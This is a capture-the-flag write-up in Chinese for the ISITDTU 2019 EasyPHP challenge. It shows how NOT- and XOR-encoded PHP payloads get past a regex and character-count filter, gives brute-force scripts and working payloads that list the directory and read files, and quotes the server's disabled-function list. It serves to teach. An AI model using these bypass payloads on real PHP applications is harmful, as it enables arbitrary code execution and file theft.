BUUCTF:[ISITDTU 2019]EasyPHP

題目地址:BUUCTF:[ISITDTU 2019]EasyPHP
Refer: https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

在這裏插入圖片描述
思路很簡單,繞過這兩個if即可任意代碼執行

先看一下第一個正則匹配
看不懂的推薦使用這個網站:https://regex101.com/

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

在這裏插入圖片描述

\x00- 0-9                       匹配\x00到空格(\x20),0-9的數字
'"`$&.,|[{_defgops              匹配這些字符
\x7F                            匹配DEL(\x7F)字符

匹配到以上字符就die掉

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

當mode=3: 會返回包含所有用過的不同字符的字符串
在這裏插入圖片描述
strlen(count_chars(strtolower($_),0x3))>0xd的意思也就是不能提交超過13(<=13)種字符

首先來查看有哪些函數提交是可以使用的看看

$array=get_defined_functions();//返回所有內置定義函數
foreach($array['internal'] as $arr){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
    print($arr.'<br/>');
}

//運行結果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

沒有我們需要的函數
在觀看正則規則的時候發現沒有過濾~^字符,想到可以取反編碼繞過和異或繞過
具體參考我的這篇文章:關於PHP正則的一些繞過方法
首先來個phpinfo()看一下

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');" 
%8F%97%8F%96%91%99%90

在這裏插入圖片描述

final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:    
    for i in allowed:
        for p in allowed:
            if ord(i)^ord(p)==ord(a):
                print("i=%s p=%s a=%s"%(i,p,a))

暴力搜索符合條件的字符串,例如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff。

查看disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

從phpinfo返回中可以看到所有命令執行的函數都被disable了。同時也限制了open_basedir在/var/www/html。下一步是找flag文件。我們可以用scandir() 或者 glob()函數列目錄,但它返回一個數組,我們還需要一個print_r或var_dump

即目標爲

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

發現可以運行,但是count_chars那裏過不去,我們一共用了16個不同字符,下一步是縮減字符數。

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

除了必要的()^;以外,我們最多剩餘9個字符的空間,逐步刪除result裏的值,當結果仍能保持11個,就意味着我們可以繼續刪除了。

print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

在這裏插入圖片描述
可以發現當前目錄下有一個 n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt文件,我們嘗試直接打開。403,行吧。那麼我們接着讀文件。scandir返回的是個數組,且剛纔的結果顯示我們要找的文件在scandir的結果最後面,那麼用end()方法就可以得到文件名了。讀文件可以用show_source或者readfile

result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158]  # Original chars,14 total
result = [160, 136, 141, 209, 151, 154, 155, 156]
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if (a == b == c == d) or (a==b) or (b==c) or (c==d) or(a==c):
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

在這裏插入圖片描述
flag{b27e57a7-1a30-4a13-b4a9-0a318b8268c6}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章